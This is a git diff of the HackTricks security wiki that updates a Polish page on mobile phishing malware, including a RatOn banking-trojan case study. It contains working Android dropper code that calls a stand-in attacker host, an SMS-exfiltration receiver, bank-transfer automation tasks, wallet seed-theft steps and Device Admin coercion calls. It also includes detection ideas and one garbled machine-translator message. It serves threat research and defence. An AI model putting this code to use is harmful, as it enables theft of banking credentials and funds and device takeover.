diff --git a/hacktricks-preprocessor.py b/hacktricks-preprocessor.py
index 0165a854a..c525f665d 100644
--- a/hacktricks-preprocessor.py
+++ b/hacktricks-preprocessor.py
@@ -17,7 +17,7 @@ handler2.setLevel(logging.ERROR)
logger.addHandler(handler2)
-def findtitle(search ,obj, key, path=(),):
+def findtitle(search, obj, key, path=()):
# logger.debug(f"Looking for {search} in {path}")
if isinstance(obj, dict) and key in obj and obj[key] == search:
return obj, path
@@ -54,26 +54,42 @@ def ref(matchobj):
if href.endswith("/"):
href = href+"README.md" # Fix if ref points to a folder
if "#" in href:
- chapter, _path = findtitle(href.split("#")[0], book, "source_path")
- title = " ".join(href.split("#")[1].split("-")).title()
- logger.debug(f'Ref has # using title: {title}')
+ result = findtitle(href.split("#")[0], book, "source_path")
+ if result is not None:
+ chapter, _path = result
+ title = " ".join(href.split("#")[1].split("-")).title()
+ logger.debug(f'Ref has # using title: {title}')
+ else:
+ raise Exception(f"Chapter not found for path: {href.split('#')[0]}")
else:
- chapter, _path = findtitle(href, book, "source_path")
- logger.debug(f'Recursive title search result: {chapter["name"]}')
- title = chapter['name']
+ result = findtitle(href, book, "source_path")
+ if result is not None:
+ chapter, _path = result
+ logger.debug(f'Recursive title search result: {chapter["name"]}')
+ title = chapter['name']
+ else:
+ raise Exception(f"Chapter not found for path: {href}")
except Exception as e:
dir = path.dirname(current_chapter['source_path'])
rel_path = path.normpath(path.join(dir,href))
try:
logger.debug(f'Not found chapter title from: {href} -- trying with relative path {rel_path}')
if "#" in href:
- chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
- title = " ".join(href.split("#")[1].split("-")).title()
- logger.debug(f'Ref has # using title: {title}')
+ result = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
+ if result is not None:
+ chapter, _path = result
+ title = " ".join(href.split("#")[1].split("-")).title()
+ logger.debug(f'Ref has # using title: {title}')
+ else:
+ raise Exception(f"Chapter not found for relative path: {path.normpath(path.join(dir,href.split('#')[0]))}")
else:
- chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
- title = chapter["name"]
- logger.debug(f'Recursive title search result: {chapter["name"]}')
+ result = findtitle(path.normpath(path.join(dir,href)), book, "source_path")
+ if result is not None:
+ chapter, _path = result
+ title = chapter["name"]
+ logger.debug(f'Recursive title search result: {chapter["name"]}')
+ else:
+ raise Exception(f"Chapter not found for relative path: {path.normpath(path.join(dir,href))}")
except Exception as e:
logger.debug(e)
logger.error(f'Error getting chapter title: {rel_path}')
diff --git a/src/SUMMARY.md b/src/SUMMARY.md
index d4104d430..abe382dcf 100644
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@@ -768,7 +768,7 @@
- [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
- [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
- [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
-- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md)
+- [ROP & JOP](binary-exploitation/rop-return-oriented-programing/README.md)
- [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
- [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
- [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
@@ -837,8 +837,9 @@
- [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md)
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
+- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
-- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
+- [iOS Exploiting](binary-exploitation/ios-exploiting.md)
# 🤖 AI
- [AI Security](AI/README.md)
diff --git a/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md b/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md
index b065eef01..b430c9230 100644
--- a/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md
+++ b/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md
@@ -3,65 +3,65 @@
{{#include ../../banners/hacktricks-training.md}}
> [!INFO]
-> Ta strona omawia techniki stosowane przez aktorów zagrożeń do dystrybucji **złośliwych APK Androida** i **profilów konfiguracji mobilnej iOS** poprzez phishing (SEO, inżynieria społeczna, fałszywe sklepy, aplikacje randkowe itp.).
-> Materiał jest dostosowany z kampanii SarangTrap ujawnionej przez Zimperium zLabs (2025) oraz innych publicznych badań.
+> Ta strona opisuje techniki używane przez aktorów zagrożeń do dystrybucji **malicious Android APKs** i **iOS mobile-configuration profiles** poprzez phishing (SEO, social engineering, fake stores, dating apps, etc.).
+> Materiał jest adaptacją kampanii SarangTrap ujawnionej przez Zimperium zLabs (2025) oraz innych publicznych badań.
-## Attack Flow
+## Przebieg ataku
1. **SEO/Phishing Infrastructure**
-* Zarejestruj dziesiątki podobnych domen (randkowe, chmurowe, usługi samochodowe…).
-– Użyj lokalnych słów kluczowych i emoji w elemencie `
`, aby uzyskać wysoką pozycję w Google.
-– Umieść *zarówno* instrukcje instalacji Androida (`.apk`), jak i iOS na tej samej stronie docelowej.
-2. **First Stage Download**
-* Android: bezpośredni link do *niepodpisanego* lub „sklepu zewnętrznego” APK.
-* iOS: `itms-services://` lub zwykły link HTTPS do złośliwego **profilu mobileconfig** (patrz poniżej).
+* Zarejestruj dziesiątki podobnych domen (dating, cloud share, car service…).
+– Użyj lokalnych słów kluczowych i emoji w elemencie ``, aby poprawić pozycję w Google.
+– Hostuj *zarówno* Android (`.apk`) jak i instrukcje instalacji iOS na tej samej stronie docelowej.
+2. **Pobranie w pierwszym etapie**
+* Android: bezpośredni link do *unsigned* lub „third-party store” APK.
+* iOS: `itms-services://` lub zwykły link HTTPS do złośliwego **mobileconfig** profilu (patrz niżej).
3. **Post-install Social Engineering**
* Przy pierwszym uruchomieniu aplikacja prosi o **kod zaproszenia / weryfikacji** (iluzja ekskluzywnego dostępu).
-* Kod jest **wysyłany metodą POST przez HTTP** do Command-and-Control (C2).
-* C2 odpowiada `{"success":true}` ➜ złośliwe oprogramowanie kontynuuje.
-* Analiza dynamiczna w piaskownicy / AV, która nigdy nie przesyła ważnego kodu, nie widzi **złośliwego zachowania** (unikanie).
+* Kod jest **POSTed over HTTP** do Command-and-Control (C2).
+* C2 odpowiada `{"success":true}` ➜ malware kontynuuje działanie.
+* Analiza dynamiczna Sandbox / AV, która nigdy nie wysyła prawidłowego kodu, nie zobaczy **żadnego złośliwego zachowania** (ewazja).
4. **Runtime Permission Abuse** (Android)
-* Niebezpieczne uprawnienia są żądane **dopiero po pozytywnej odpowiedzi C2**:
+* Niebezpieczne uprawnienia są żądane dopiero **po pozytywnej odpowiedzi C2**:
```xml
-
+
```
-* Ostatnie warianty **usuwają `` dla SMS z `AndroidManifest.xml`**, ale pozostawiają ścieżkę kodu Java/Kotlin, która odczytuje SMS-y przez refleksję ⇒ obniża wynik statyczny, a jednocześnie działa na urządzeniach, które przyznają uprawnienia poprzez nadużycie `AppOps` lub stare cele.
-5. **Facade UI & Background Collection**
+* Nowsze warianty **usuwają `` dla SMS z `AndroidManifest.xml`** ale pozostawiają ścieżkę w Java/Kotlin, która czyta SMS przez reflection ⇒ obniża to wynik w analizie statycznej, a nadal działa na urządzeniach, które przyznały uprawnienie przez nadużycie `AppOps` lub na starszych celach.
+5. Fasadowy UI i zbieranie w tle
* Aplikacja pokazuje nieszkodliwe widoki (przeglądarka SMS, wybieracz galerii) zaimplementowane lokalnie.
* W międzyczasie exfiltruje:
- IMEI / IMSI, numer telefonu
-- Pełny zrzut `ContactsContract` (tablica JSON)
-- JPEG/PNG z `/sdcard/DCIM` skompresowane z [Luban](https://github.com/Curzibn/Luban), aby zmniejszyć rozmiar
+- Pełny zrzut `ContactsContract` (JSON array)
+- JPEG/PNG z `/sdcard/DCIM` skompresowane za pomocą [Luban](https://github.com/Curzibn/Luban) w celu zmniejszenia rozmiaru
- Opcjonalna zawartość SMS (`content://sms`)
-Ładunki są **spakowane w paczki** i wysyłane przez `HTTP POST /upload.php`.
+Dane ładunku są **batch-zipped** i wysyłane przez `HTTP POST /upload.php`.
6. **iOS Delivery Technique**
-* Pojedynczy **profil konfiguracji mobilnej** może żądać `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` itp., aby zarejestrować urządzenie w nadzorze podobnym do „MDM”.
-* Instrukcje inżynierii społecznej:
-1. Otwórz Ustawienia ➜ *Profil pobrany*.
-2. Stuknij *Zainstaluj* trzy razy (zrzuty ekranu na stronie phishingowej).
-3. Zaufaj niepodpisanemu profilowi ➜ atakujący zyskuje uprawnienia *Kontakty* i *Zdjęcia* bez przeglądu App Store.
-7. **Network Layer**
-* Zwykły HTTP, często na porcie 80 z nagłówkiem HOST jak `api..com`.
-* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (bez TLS → łatwe do wykrycia).
+* Pojedynczy **mobile-configuration profile** może zażądać `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` itd., aby zarejestrować urządzenie w nadzorze podobnym do „MDM”.
+* Instrukcje social-engineeringowe:
+1. Otwórz Ustawienia ➜ *Profile downloaded*.
+2. Stuknij *Install* trzy razy (zrzuty ekranu na stronie phishingowej).
+3. Zaufaj niepodpisanemu profilowi ➜ atakujący zyskuje uprawnienia *Contacts* & *Photo* bez przeglądu App Store.
+7. Warstwa sieciowa
+* Zwykły HTTP, często na porcie 80 z nagłówkiem HOST takim jak `api..com`.
+* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (brak TLS → łatwe do wykrycia).
-## Defensive Testing / Red-Team Tips
+## Porady dla testów defensywnych / Red-Team
-* **Dynamic Analysis Bypass** – Podczas oceny złośliwego oprogramowania, zautomatyzuj fazę kodu zaproszenia za pomocą Frida/Objection, aby dotrzeć do złośliwej gałęzi.
-* **Manifest vs. Runtime Diff** – Porównaj `aapt dump permissions` z runtime `PackageManager#getRequestedPermissions()`; brak niebezpiecznych uprawnień to czerwony flag.
-* **Network Canary** – Skonfiguruj `iptables -p tcp --dport 80 -j NFQUEUE`, aby wykryć niesolidne wybuchy POST po wprowadzeniu kodu.
-* **mobileconfig Inspection** – Użyj `security cms -D -i profile.mobileconfig` na macOS, aby wylistować `PayloadContent` i zauważyć nadmierne uprawnienia.
+* **Dynamic Analysis Bypass** – Podczas oceny malware zautomatyzuj fazę kodu zaproszenia przy użyciu Frida/Objection, aby dotrzeć do złośliwej gałęzi.
+* **Manifest vs. Runtime Diff** – Porównaj `aapt dump permissions` z runtime `PackageManager#getRequestedPermissions()`; brakujące niebezpieczne permisy to czerwona flaga.
+* **Network Canary** – Skonfiguruj `iptables -p tcp --dport 80 -j NFQUEUE` aby wykryć nietypowe nagłe wysyły POST po wpisaniu kodu.
+* **mobileconfig Inspection** – Użyj `security cms -D -i profile.mobileconfig` na macOS, aby wylistować `PayloadContent` i wykryć nadmierne uprawnienia.
-## Blue-Team Detection Ideas
+## Pomysły wykrywania dla Blue Team
-* **Certificate Transparency / DNS Analytics** w celu wychwycenia nagłych wybuchów domen bogatych w słowa kluczowe.
-* **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php` z klientów Dalvik poza Google Play.
+* **Certificate Transparency / DNS Analytics** aby wychwycić nagłe pojawianie się domen bogatych w słowa kluczowe.
+* **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php` z klientów Dalvik spoza Google Play.
* **Invite-code Telemetry** – POST 6–8 cyfrowych kodów numerycznych krótko po instalacji APK może wskazywać na staging.
-* **MobileConfig Signing** – Zablokuj niepodpisane profile konfiguracji za pomocą polityki MDM.
+* **MobileConfig Signing** – Blokuj niepodpisane profile konfiguracyjne za pomocą polityki MDM.
-## Useful Frida Snippet: Auto-Bypass Invitation Code
+## Przydatny fragment Frida: Automatyczne ominięcie kodu zaproszenia
```python
# frida -U -f com.badapp.android -l bypass.js --no-pause
# Hook HttpURLConnection write to always return success
@@ -90,17 +90,17 @@ LubanCompress 1.1.8 # "Luban" string inside classes.dex
## Android WebView Payment Phishing (UPI) – Dropper + FCM C2 Pattern
-Ten wzór został zaobserwowany w kampaniach wykorzystujących tematy związane z rządowymi świadczeniami do kradzieży indyjskich danych UPI i OTP. Operatorzy łączą renomowane platformy w celu dostarczenia i odporności.
+This pattern has been observed in campaigns abusing government-benefit themes to steal Indian UPI credentials and OTPs. Operators chain reputable platforms for delivery and resilience.
-### Łańcuch dostaw na zaufanych platformach
-- Wideo na YouTube jako przynęta → opis zawiera krótki link
-- Krótki link → strona phishingowa GitHub Pages imitująca legalny portal
-- Ta sama repozytorium GitHub hostuje APK z fałszywą odznaką „Google Play” prowadzącą bezpośrednio do pliku
-- Dynamiczne strony phishingowe działają na Replit; zdalny kanał komend używa Firebase Cloud Messaging (FCM)
+### Łańcuch dostaw przez zaufane platformy
+- Wabik wideo na YouTube → opis zawiera krótki link
+- Krótki link → strona phishingowa na GitHub Pages podszywająca się pod oryginalny portal
+- To samo repo GitHub hostuje APK z fałszywą plakietką “Google Play”, linkującą bezpośrednio do pliku
+- Dynamiczne strony phishingowe działają na Replit; zdalny kanał poleceń używa Firebase Cloud Messaging (FCM)
-### Dropper z osadzonym ładunkiem i instalacją offline
-- Pierwsze APK to instalator (dropper), który dostarcza prawdziwe złośliwe oprogramowanie w `assets/app.apk` i prosi użytkownika o wyłączenie Wi‑Fi/danych mobilnych, aby zminimalizować wykrywanie w chmurze.
-- Osadzony ładunek instaluje się pod niewinną etykietą (np. „Bezpieczna aktualizacja”). Po instalacji zarówno instalator, jak i ładunek są obecne jako oddzielne aplikacje.
+### Dropper with embedded payload and offline install
+- Pierwszy APK to installer (dropper), który dostarcza rzeczywiste malware pod `assets/app.apk` i prosi użytkownika o wyłączenie Wi‑Fi/danych mobilnych, aby osłabić wykrywanie w chmurze.
+- The embedded payload instaluje się pod niewinną etykietą (np. “Secure Update”). Po instalacji zarówno installer, jak i payload są obecne jako oddzielne aplikacje.
Static triage tip (grep for embedded payloads):
```bash
@@ -108,10 +108,10 @@ unzip -l sample.apk | grep -i "assets/app.apk"
# Or:
zipgrep -i "classes|.apk" sample.apk | head
```
-### Dynamic endpoint discovery via shortlink
-- Złośliwe oprogramowanie pobiera listę aktywnych punktów końcowych w formacie tekstowym, oddzieloną przecinkami, z krótkiego linku; proste przekształcenia ciągów generują ostateczną ścieżkę strony phishingowej.
+### Dynamiczne odkrywanie endpointów przez shortlink
+- Malware pobiera listę w plain-text, rozdzieloną przecinkami, aktywnych endpointów z shortlink; proste transformacje stringów tworzą końcową ścieżkę strony phishing.
-Example (sanitised):
+Przykład (zredagowany):
```
GET https://rebrand.ly/dclinkto2
Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php
@@ -119,7 +119,7 @@ Transform: "gate.html" → "gate.htm" (loaded in WebView)
UPI credential POST: https://sqcepo.replit.app/addup.php
SMS upload: https://sqcepo.replit.app/addsm.php
```
-Pseudo-kod:
+Pseudokod:
```java
String csv = httpGet(shortlink);
String[] parts = csv.split(",");
@@ -127,8 +127,8 @@ String upiPage = parts[0].replace("gate.html", "gate.htm");
String smsPost = parts[1];
String credsPost = upiPage.replace("gate.htm", "addup.php");
```
-### WebView-based UPI credential harvesting
-- Krok „Dokonaj płatności w wysokości ₹1 / UPI‑Lite” ładuje formularz HTML atakującego z dynamicznego punktu końcowego wewnątrz WebView i przechwytuje wrażliwe pola (telefon, bank, UPI PIN), które są `POST`owane do `addup.php`.
+### WebView-based wyłudzanie poświadczeń UPI
+- Krok „Wykonaj płatność ₹1 / UPI‑Lite” ładuje złośliwy formularz HTML z dynamicznego endpointu wewnątrz WebView i przechwytuje pola wrażliwe (telefon, bank, UPI PIN), które są `POST`owane do `addup.php`.
Minimalny loader:
```java
@@ -136,7 +136,7 @@ WebView wv = findViewById(R.id.web);
wv.getSettings().setJavaScriptEnabled(true);
wv.loadUrl(upiPage); // ex: https:///gate.htm
```
-### Samo-rozprzestrzenianie i przechwytywanie SMS/OTP
+### Self-propagation and SMS/OTP interception
- Na pierwszym uruchomieniu żądane są agresywne uprawnienia:
```xml
@@ -144,10 +144,10 @@ wv.loadUrl(upiPage); // ex: https:///gate.htm
```
-- Kontakty są używane do masowego wysyłania smishing SMS z urządzenia ofiary.
-- Przychodzące SMS są przechwytywane przez odbiornik rozgłoszeniowy i przesyłane z metadanymi (nadawca, treść, slot SIM, losowy identyfikator urządzenia) do `/addsm.php`.
+- Kontakty są przetwarzane w pętli, aby masowo wysyłać smishing SMS-y z urządzenia ofiary.
+- Przychodzące SMS-y są przechwytywane przez broadcast receiver i przesyłane wraz z metadanymi (sender, body, SIM slot, per-device random ID) do `/addsm.php`.
-Receiver sketch:
+Szkic odbiornika:
```java
public void onReceive(Context c, Intent i){
SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i);
@@ -162,9 +162,9 @@ postForm(urlAddSms, new FormBody.Builder()
}
```
### Firebase Cloud Messaging (FCM) jako odporny C2
-- Ładunek rejestruje się w FCM; wiadomości push zawierają pole `_type`, które jest używane jako przełącznik do wyzwalania akcji (np. aktualizacja szablonów tekstów phishingowych, przełączanie zachowań).
+- Payload rejestruje się w FCM; push messages niosą pole `_type` używane jako przełącznik do wyzwalania akcji (np. aktualizacja szablonów tekstów phishing, przełączanie zachowań).
-Przykład ładunku FCM:
+Przykładowy FCM payload:
```json
{
"to": "",
@@ -174,7 +174,7 @@ Przykład ładunku FCM:
}
}
```
-Szkic obsługi:
+Szkic handlera:
```java
@Override
public void onMessageReceived(RemoteMessage msg){
@@ -186,27 +186,178 @@ case "smish": sendSmishToContacts(); break;
}
}
```
-### Wzorce polowania i IOCs
-- APK zawiera wtórny ładunek w `assets/app.apk`
-- WebView ładuje płatność z `gate.htm` i eksfiltruje do `/addup.php`
-- Eksfiltracja SMS do `/addsm.php`
-- Fetchowanie konfiguracji za pomocą skróconych linków (np. `rebrand.ly/*`) zwracających punkty końcowe CSV
-- Aplikacje oznaczone jako ogólne „Aktualizacja/Zabezpieczona aktualizacja”
-- Wiadomości FCM `data` z dyskryminatorem `_type` w nieufnych aplikacjach
+### Wzorce wykrywania i IOCs
+- APK zawiera dodatkowy payload w `assets/app.apk`
+- WebView ładuje płatność z `gate.htm` i eksfiltrowuje do `/addup.php`
+- Eksfiltracja SMS-ów do `/addsm.php`
+- Pobieranie konfiguracji uruchamiane przez shortlink (np. `rebrand.ly/*`) zwracające endpointy w formacie CSV
+- Aplikacje oznaczone jako ogólne „Update/Secure Update”
+- Wiadomości FCM `data` z polem `_type` w niezaufanych aplikacjach
### Pomysły na wykrywanie i obronę
-- Oznaczaj aplikacje, które instruują użytkowników, aby wyłączyli sieć podczas instalacji, a następnie zainstalowali drugi APK z `assets/`.
-- Alarmuj na krotkę uprawnień: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + przepływy płatności oparte na WebView.
-- Monitorowanie egress dla `POST /addup.php|/addsm.php` na niekorporacyjnych hostach; blokuj znaną infrastrukturę.
-- Zasady EDR dla urządzeń mobilnych: nieufna aplikacja rejestrująca się do FCM i rozgałęziająca się na polu `_type`.
+- Oznaczaj aplikacje, które instruują użytkowników, aby wyłączyli sieć podczas instalacji, a następnie side-loadują drugi APK z `assets/`.
+- Generuj alert na krotkę uprawnień: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + przepływy płatności oparte o WebView.
+- Monitorowanie egressu dla `POST /addup.php|/addsm.php` na hostach niekorporacyjnych; blokuj znaną infrastrukturę.
+- Reguły Mobile EDR: niezaufana aplikacja rejestrująca się do FCM i rozgałęziająca się na podstawie pola `_type`.
---
-## Odniesienia
+## Android Accessibility/Overlay & Device Admin Abuse, ATS automation, and NFC relay orchestration – studium przypadku RatOn
+
+Kampania RatOn banker/RAT (ThreatFabric) jest konkretnym przykładem, jak współczesne operacje phishingu mobilnego łączą WebView droppers, Accessibility-driven UI automation, overlays/ransom, Device Admin coercion, Automated Transfer System (ATS), przejęcie portfela kryptowalut i nawet orkiestrację NFC-relay. Ta sekcja wyodrębnia techniki nadające się do ponownego użycia.
+
+### Stage-1: WebView → natywny most instalacyjny (dropper)
+
+Atakujący prezentują WebView wskazujący na złośliwą stronę i wstrzykują interfejs JavaScript, który udostępnia natywny instalator. Stuknięcie przycisku HTML wywołuje kod natywny, który instaluje APK drugiego etapu dołączony w assets droppera, a następnie bezpośrednio go uruchamia.
+
+Minimalny wzorzec:
+```java
+public class DropperActivity extends Activity {
+@Override protected void onCreate(Bundle b){
+super.onCreate(b);
+WebView wv = new WebView(this);
+wv.getSettings().setJavaScriptEnabled(true);
+wv.addJavascriptInterface(new Object(){
+@android.webkit.JavascriptInterface
+public void installApk(){
+try {
+PackageInstaller pi = getPackageManager().getPackageInstaller();
+PackageInstaller.SessionParams p = new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL);
+int id = pi.createSession(p);
+try (PackageInstaller.Session s = pi.openSession(id);
+InputStream in = getAssets().open("payload.apk");
+OutputStream out = s.openWrite("base.apk", 0, -1)){
+byte[] buf = new byte[8192]; int r; while((r=in.read(buf))>0){ out.write(buf,0,r);} s.fsync(out);
+}
+PendingIntent status = PendingIntent.getBroadcast(this, 0, new Intent("com.evil.INSTALL_DONE"), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE);
+pi.commit(id, status.getIntentSender());
+} catch (Exception e) { /* log */ }
+}
+}, "bridge");
+setContentView(wv);
+wv.loadUrl("https://attacker.site/install.html");
+}
+}
+```
+Nie widzę zawartości pliku. Proszę wklej tutaj HTML/Markdown z pliku src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md, a przetłumaczę odpowiedni angielski tekst na polski, zachowując dokładnie wszystkie tagi, linki, ścieżki, kod oraz markdown/html.
+```html
+
+```
+Po instalacji dropper uruchamia payload za pomocą explicit package/activity:
+```java
+Intent i = new Intent();
+i.setClassName("com.stage2.core", "com.stage2.core.MainActivity");
+startActivity(i);
+```
+Hunting idea: nieufne aplikacje wywołujące `addJavascriptInterface()` i udostępniające WebView metody przypominające instalator; APK zawierający osadzony secondary payload w `assets/` i wywołujący Package Installer Session API.
+
+### Consent funnel: Accessibility + Device Admin + follow-on runtime prompts
+Stage-2 otwiera WebView, który hostuje stronę “Access”. Jej przycisk wywołuje eksportowaną metodę, która nawiguję ofiarę do ustawień Accessibility i prosi o włączenie złośliwej usługi. Po przyznaniu malware używa Accessibility, aby automatycznie przejść przez kolejne runtime permission dialogs (contacts, overlay, manage system settings, etc.) i żąda Device Admin.
+
+- Accessibility programowo pomaga zaakceptować późniejsze monity, znajdując w drzewie węzłów przyciski takie jak “Allow”/“OK” i wysyłając kliknięcia.
+- Overlay permission check/request:
+```java
+if (!Settings.canDrawOverlays(ctx)) {
+Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
+Uri.parse("package:" + ctx.getPackageName()));
+ctx.startActivity(i);
+}
+```
+Zobacz także:
+
+{{#ref}}
+../../mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
+{{#endref}}
+
+### Overlay phishing/ransom via WebView
+Operatorzy mogą wydawać polecenia, aby:
+- wyświetlić nakładkę na cały ekran z URL, lub
+- przekazać inline HTML, które zostanie załadowane do nakładki WebView.
+
+Prawdopodobne zastosowania: coercion (wprowadzenie PIN), otwieranie wallet w celu przechwycenia PIN-ów, wiadomości z żądaniem okupu. Zachowaj polecenie, które sprawdzi i wymusi nadanie uprawnienia do nakładek, jeśli go brakuje.
+
+### Remote control model – text pseudo-screen + screen-cast
+- Low-bandwidth: okresowo zrzucać drzewo węzłów Accessibility, serializować widoczne teksty/role/bounds i wysyłać do C2 jako pseudo-ekran (polecenia takie jak `txt_screen` jednorazowo i `screen_live` ciągłe).
+- High-fidelity: zażądać MediaProjection i rozpocząć strumieniowanie/nagrywanie ekranu na żądanie (polecenia takie jak `display` / `record`).
+
+### ATS playbook (bank app automation)
+Mając zadanie w formacie JSON, otwórz aplikację bankową, steruj UI przez Accessibility używając mieszanki zapytań tekstowych i stuknięć po współrzędnych, oraz wprowadź payment PIN ofiary, gdy zostanie poproszony.
+
+Przykładowe zadanie:
+```json
+{
+"cmd": "transfer",
+"receiver_address": "ACME s.r.o.",
+"account": "123456789/0100",
+"amount": "24500.00",
+"name": "ACME"
+}
+```
+Example texts seen in one target flow (CZ → EN):
+- "Nová platba" → "Nowa płatność"
+- "Zadat platbu" → "Wprowadź płatność"
+- "Nový příjemce" → "Nowy odbiorca"
+- "Domácí číslo účtu" → "Krajowy numer konta"
+- "Další" → "Dalej"
+- "Odeslat" → "Wyślij"
+- "Ano, pokračovat" → "Tak, kontynuuj"
+- "Zaplatit" → "Zapłać"
+- "Hotovo" → "Gotowe"
+
+Operatorzy mogą również sprawdzać/podwyższać limity przelewów za pomocą komend takich jak `check_limit` i `limit`, które w podobny sposób nawigują po limits UI.
+
+### Crypto wallet seed extraction
+Targets like MetaMask, Trust Wallet, Blockchain.com, Phantom. Flow: unlock (stolen PIN or provided password), navigate to Security/Recovery, reveal/show seed phrase, keylog/exfiltrate it. Implement locale-aware selectors (EN/RU/CZ/SK) to stabilise navigation across languages.
+
+### Device Admin coercion
+Device Admin APIs są używane do zwiększenia możliwości przechwytywania PIN oraz zniechęcenia ofiary:
+
+- Natychmiastowa blokada:
+```java
+dpm.lockNow();
+```
+- Wygaszenie bieżącego poświadczenia w celu wymuszenia zmiany (Accessibility przechwytuje nowy PIN/hasło):
+```java
+dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner
+```
+- Wymuś odblokowanie bez biometrii, wyłączając funkcje biometryczne keyguard:
+```java
+dpm.setKeyguardDisabledFeatures(admin,
+DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
+DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS);
+```
+Uwaga: Wiele kontroli DevicePolicyManager wymaga Device Owner/Profile Owner na nowszych Android; niektóre buildy OEM mogą być luźne. Zawsze weryfikuj na docelowym OS/OEM.
+
+### NFC relay orchestration (NFSkate)
+Stage-3 może zainstalować i uruchomić zewnętrzny moduł NFC-relay (np. NFSkate) i nawet przekazać mu szablon HTML, który poprowadzi ofiarę podczas relay. To umożliwia bezstykowe card-present cash-out obok online ATS.
+
+Background: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay).
+
+### Operator command set (sample)
+- UI/stan: `txt_screen`, `screen_live`, `display`, `record`
+- Społeczne: `send_push`, `Facebook`, `WhatsApp`
+- Nakładki: `overlay` (inline HTML), `block` (URL), `block_off`, `access_tint`
+- Portfele: `metamask`, `trust`, `blockchain`, `phantom`
+- ATS: `transfer`, `check_limit`, `limit`
+- Urządzenie: `lock`, `expire_password`, `disable_keyguard`, `home`, `back`, `recents`, `power`, `touch`, `swipe`, `keypad`, `tint`, `sound_mode`, `set_sound`
+- Komunikacja/rozpoznanie: `update_device`, `send_sms`, `replace_buffer`, `get_name`, `add_contact`
+- NFC: `nfs`, `nfs_inject`
+
+### Detection & defence ideas (RatOn-style)
+- Szukaj WebViewów z `addJavascriptInterface()` ujawniającymi metody instalatora/uprawnień; strony kończące się na “/access”, które wywołują monity Accessibility.
+- Generuj alerty dla aplikacji, które generują dużą liczbę gestów/kliknięć Accessibility krótko po przyznaniu dostępu do usługi; telemetria przypominająca zrzuty węzłów Accessibility wysyłana do C2.
+- Monitoruj zmiany polityki Device Admin w niezastrzeżonych aplikacjach: `lockNow`, wygasanie haseł, przełączniki funkcji keyguard.
+- Alarmuj przy monitach MediaProjection z aplikacji niekorporacyjnych, po których następują okresowe przesyły ramek.
+- Wykrywaj instalację/uruchomienie zewnętrznej aplikacji NFC-relay wywołanej przez inną aplikację.
+- Dla bankowości: egzekwuj potwierdzenia poza kanałem, powiązanie z biometrią oraz limity transakcji odporne na automatyzację na urządzeniu.
+
+## References
- [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
- [Luban – Android image compression library](https://github.com/Curzibn/Luban)
- [Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-promises-energy-subsidy-to-steal-financial-data/)
- [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging)
+- [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
+- [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md b/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
index 5cdba1c6c..b27b4abf7 100644
--- a/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
